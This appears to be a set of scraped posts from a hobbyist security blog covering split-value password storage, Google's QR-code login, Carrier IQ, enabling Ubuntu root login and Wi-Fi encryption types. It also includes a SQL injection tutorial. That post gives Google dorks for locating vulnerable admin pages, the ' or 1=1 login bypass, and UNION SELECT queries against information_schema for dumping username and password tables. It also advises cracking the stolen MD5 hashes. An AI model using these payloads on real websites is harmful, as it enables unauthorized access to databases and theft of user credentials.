Split-value Cryptographic Authentication: Building Advanced Threat-Resistant Software

Split-value Cryptographic Authentication: Building Advanced Threat-Resistant Software

Security RaviTeja   11:26:00 AM

RSA’s newly announced Distributed Credential Protection (DCP) is a perfect illustration of the innovative design that helps build software that better resists Advanced Threats.



For almost 40 years, multiple generations of security architecture for distributed systems have been built around the concept of a Trusted Third Party, a server trusted by all parties involved in the secure communication exchange. Examples include the key server in the Needham–Schroeder Symmetric Key Protocol or in Kerberos as well as the Certification Authority in Public Key Cryptosystems.

With Advanced Threats, trusted third parties have become a “single point of security failure.” If attackers control the trusted system, the game is over.

We need new security designs for this new world.  Split-value cryptographic authentication, as implemented in RSA Distributed Credential Protection exemplifies an Advanced Threat-resistant security design. It was invented by RSA Labs several years ago as a way to store and verify authentication secrets in a way that cannot be compromised even if any one of the systems involved in the authentication process is compromised. The principle is pretty straightforward and involves the use of random numbers and XOR transformations:

1)      Before it is stored, the password is transformed with a random number. The random number is stored in one server (“red” server) and the transformed password in a different server (“blue” server). Compromising one server is not sufficient to compromise the password.

2)      At regular time intervals, a new random number is generated and both servers are updated with the new random number value, adding a time-based layer of protection:  Both servers must be compromised at the same time for the password to be compromised.

3)      When an application needs to verify a password, the claimed password transformed with a new random number is sent to the “blue” server while the random number is sent to the “red” server. Each server can execute a new transformation involving the stored data and validate whether the claimed password matches the stored password without exposing the legitimate password

Split-value cryptographic authentication opens new opportunities to software developers worldwide to start developing Advanced Threat-resistant software.

This is just a start. Advanced Threats are changing our trust assumptions and have technical and operational impact on how we approach security. In the area of secure application design, we should expect more innovations like split-value cryptographic authentication to emerge to help build Advanced Threat-resistant software.




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Login to Google Account on Any Public Computer Without Password

Login to Google Account on Any Public Computer Without Password

Windows RaviTeja   4:56:00 PM

Google moved a step forward in the field of security. We already know about the 2 step verification of our Google accounts login. Now in order to get rid of the keylogger problem, it introduced a new feature in fact. Its nothing but GOOGLE SESAME. 


The amazing thing here is you don't need to enter your password on a computer. If you need to access your google account on a public computer like an internet cafe or so, there is problem with keyloggers which are Fully UnDectactable (FUD).


Procedure : 

1. Goto this URL on the computer
2. QR Code (Quick Response Code) will be generated and displayed in the webpage
3. We need to scan this QR Code using our mobile phone(Smartphones only). The smartphone can be  Android / iOS / Windows / Blackberry  or any other.
4. This code is decoded into some URL on your mobile. You need to enter this URL on your mobile browser.
5. It asks for your credentials like username and password.
6. Type your login details.
7. After that click on the button " Start with Gmail " or " Start with iGoogle ". 
8. By doing the step - 7, you will be logged in automatically on your computer web browser.
9. That's it !

The only appearing disadvantage is actual availability of a smart phone with every Google account user. 

Except this, Sesame is just amazing. But Let's wait and see until the highly self trained monkeys(Hackers) find some vulnerabilities. Till then, this is said to be most secure.

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Your Android may spy on you | Carrier IQ

Your Android may spy on you | Carrier IQ

Security RaviTeja   4:06:00 PM

An Android developer recently discovered a clandestine application called Carrier IQ built into most smart-phones that doesn't just track your location; it secretly records your keystrokes, and there's nothing you can do about it.

What is Carrier IQ ?

The software is hidden inside phones there is little you can do to detect that it’s even installed, let alone remove it, and it tracks everything. Keystrokes, browsing and surfing habits, Google searches, and basically every single thing that you are doing on your phone and every button that you press is logged by this software. this is basically a key-logger running on your phone that you didn't know about.

Carrier IQ says in this public statement that it is “not logging keystrokes or providing tracking tools” and that its software is used to track performance, but the video proves entirely otherwise: this app is sitting in between you and the Android OS and is making a note of everything you do.

How to get rid of this serious problem?

There’s no switch that you can turn off in the settings of your phone or software that appears in your app drawer that you can simply uninstall. As far as the GUI of your phone is concerned, Carrier IQ isn’t even there. But it is there, hiding in the background, making sure that you don’t even know it exists.

Fortunately, 

Voodoo Carrier IQ detector application released for Android

A new Android app to identify whether your smartphone has any Carrier IQ tracking/monitoring software installed on it has been released, the Voodoo Carrier IQ detector, giving users a simple way to put their minds to rest on privacy. The handiwork of Android app developer supercurio, the tool is only a few hours old and only partially finished, with the consequent warning that the results can’t be entirely relied on yet. 

To download this application, click 

Click to download source code.

Or Use custom ROM to protect privacy.

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how to login as root in Ubuntu

how to login as root in Ubuntu

Unix RaviTeja   5:19:00 PM

#1 : Open Terminal/shell , (hit CTRL+ALT+T)
#2 : Then, Type the command (Followed by your Login Password).

sudo passwd root

#3 : when you will be prompted for “Enter the New Unix Password” Twice, Enter the root password.
#4 : That’s All, To enjoy root power, logout from the current user session. At the login window, Enter ‘root’ as a username and the password, you entered in above step.

Note : In root mode, don’t perform any action about which you aren’t sure, because a single mistake can cause a lot of damage.






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SQL Injection

SQL Injection

SQL injection RaviTeja   2:45:00 PM

SQL Injection is a technique in which the hacker inserts SQL codes into a web Form to get Sensitive information like (User Name , Passwords). In fact, it is a technique to access the database of the website without authorization.

The SQL query looks like this in a database : 

SELECT * FROM users
WHERE Login Name = $_GET [‘Login Name’]
AND password = $_GET [‘password’]

After entering username and password , say admin and admin , then query becomes 

SELECT * FROM users
WHERE Login Name = admin
AND password = admin

HOW TO FIND A SITE VULNERABLE TO SQL INJECTION ?

Google is our friend. So, search using the following terms.

Inurl:admin login.asp
Inurl:login.asp

etc.. 

For complete list of Google Hacking keywords, go here. These are famously called as Google Dorks. All you need is a basic knowledge of advanced google searching.

1. Use a known username or admin.
2. Enter the string  ' or 1=1 – –    into the password box.
3. Submit.

.If you want to find SQLi vulnerability on a particular website, then also you can use google dorks.

To do this add a single quote(‘) at the end of the URL. If you get an error or blank page, the site is vulnerable to SQL injection.

 For example, if  the url is www.examplesite.com/view.php?id=47 then it should become www.examplesite.com/view.php?id=47' 

When you add single quote at the end of the URL, some data of the page is missing. Hence we can determine that it is vulnerable to SQl injection.

FINDING OUT THE NUMBER OF COLUMNS :

We can find this by simply adding “order by “ query at the end :

www.examplesite.com/view.php?id=47

 order by 1

—
It should return the page with no error.

Now add one more column to the above query. It looks like

www.examplesite.com/view.php?id=47 order by 2—

We should increase the count until we get an error. When we get an error, it means that there are no more columns to return the results.

Let us say we got an error at the following query.

www.examplesite.com/view.php?id=47 order by 10—

It means that the site has 9 columns.

 HOW TO FIND MOST VULNERABLE COLUMN :

www.examplesite.com/view.php?id=47 union select 1,2,3,4,5,6,7,8,9—

It should return the most vulnerable columns.

Some times it may not display the columns on your page. In such cases add ‘-‘ without quotes before 

your id number. This is to call a non existing page to display your data. i.e.,

www.examplesite.com/view.php?id=-47 union select 1,2,3,4,5,6,7,8,9—

WHAT ARE THE TABLES IN THE DATABASE ?

www.examplesite.com/view.php?id=-47 union select 1,table_name ,3,4,5,6,7,8,9 from information_schema.tables—

It gives us a list of tables.

Now search for the tables you are interested in. It means, a hacker generally looks for the tables that contain usernames and passwords.

So, Now we got the table. What next ? It is columns.

HOW TO FIND OUT THE COLUMN NAMES ?

www.

examplesite

.com/view.php?id=-47 union select 1,column_name ,3,4,5,6,7,8,9 from information_schema.columns where table_name=’yourtablename’—

Here, 'yourtablename' refers to the table which you selected recently.

it displays all the column names from the table

Let us extract the data now.

www.examplesite.com/view.php?id=-47 union select 1,column_name ,3,4,5,6,7,8,9 from yourtablename—

Here column_name refers to the desired columname say usernames.

Similarly, extract the passwords by changing column name.

Many websites encrypt the passwords unsing some encryption techniques like MD5 etc,. So decrypt them using decryptors.

Via : 101hacker

Note : FOR EDUCATIONAL PURPOSES ONLY. I AM NOT RESPONSIBLE FOR THE CONSEQUENCES.
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Types of Wi-Fi Encryption You Can Use

Types of Wi-Fi Encryption You Can Use

Wi-Fi RaviTeja   12:51:00 PM

There are many types of Wi-Fi encryption you can use on modern Internet routers. So which one should you use? Many people don’t even use encryption, and those that do just pick an encryption type at random without knowing what they do.

For a long time, WEP was considered to be an extremely good method of encrypting wireless connections. The acronym simply means Wired Equivalent Privacy. WEP however, was proved to have many flaws mainly involving the short key size, which were relatively easy to crack. WEP also does not provide for security against altered packets – a process where packets of information is intercepted by an intruder and then altered before sending them back, making it look like the intruder is valid user. These days, WPA (Wi-Fi Protected Access) and WPA2 have completely taken over from the old WEP encryption methods. You’ll probably still find WEP available on most routers, but it’s being phased out and someday it probably won’t be available at all. The main advantage WPA has over WEP is that it employs a powerful new feature called TKIP, or rather Temporal Key Integrity Protocol. TKIP is 128-bit, but instead of the key being static, it generates a new key for every packet of information that is sent, meaning it is a lot more secure. WPA also integrates a method of message integrity checks, used to defeat network attackers intercepting and altering data packets. WPA2 goes even further and replaces TKIP with CCMP. CCMP is an AES based encryption method that is much stronger even than TKIP.
In the home, you’ll probably want to use an encryption method called WPA-Personal. This is sometimes also called WPA-PSK. PSK stands for Pre-Shared Key, and is designed for home users and small offices where a server is not required for authenticating messages. It works by having each wireless device such as a laptop or smart phone authenticating directly with the wireless access point using the same key. Offices and large buildings may employ WPA-Enterprise. You can’t generally use this without a complicated authentication server set-up, but it does provide additional security.
Both WPA-SPK and WPA-Enterprise are available in WPA2, meaning even home users can now benefit from AES encryption over their Wi-Fi connections. All of these methods can transmit data at maximum speed, and you won’t notice any speed differences between each type of encryption. Therefore the recommendation is to use the best encryption you can. This means going for WPA2-PSK where you can in a home environment. There are new and more exotic types of Wi-Fi encryption becoming available, but for now even advanced users will find WPA2 more than adequate for most security applications.
If you are using wireless connections, you may want to check your router to make sure that it does not use encryption that can easily be cracked by users with the right toolset.






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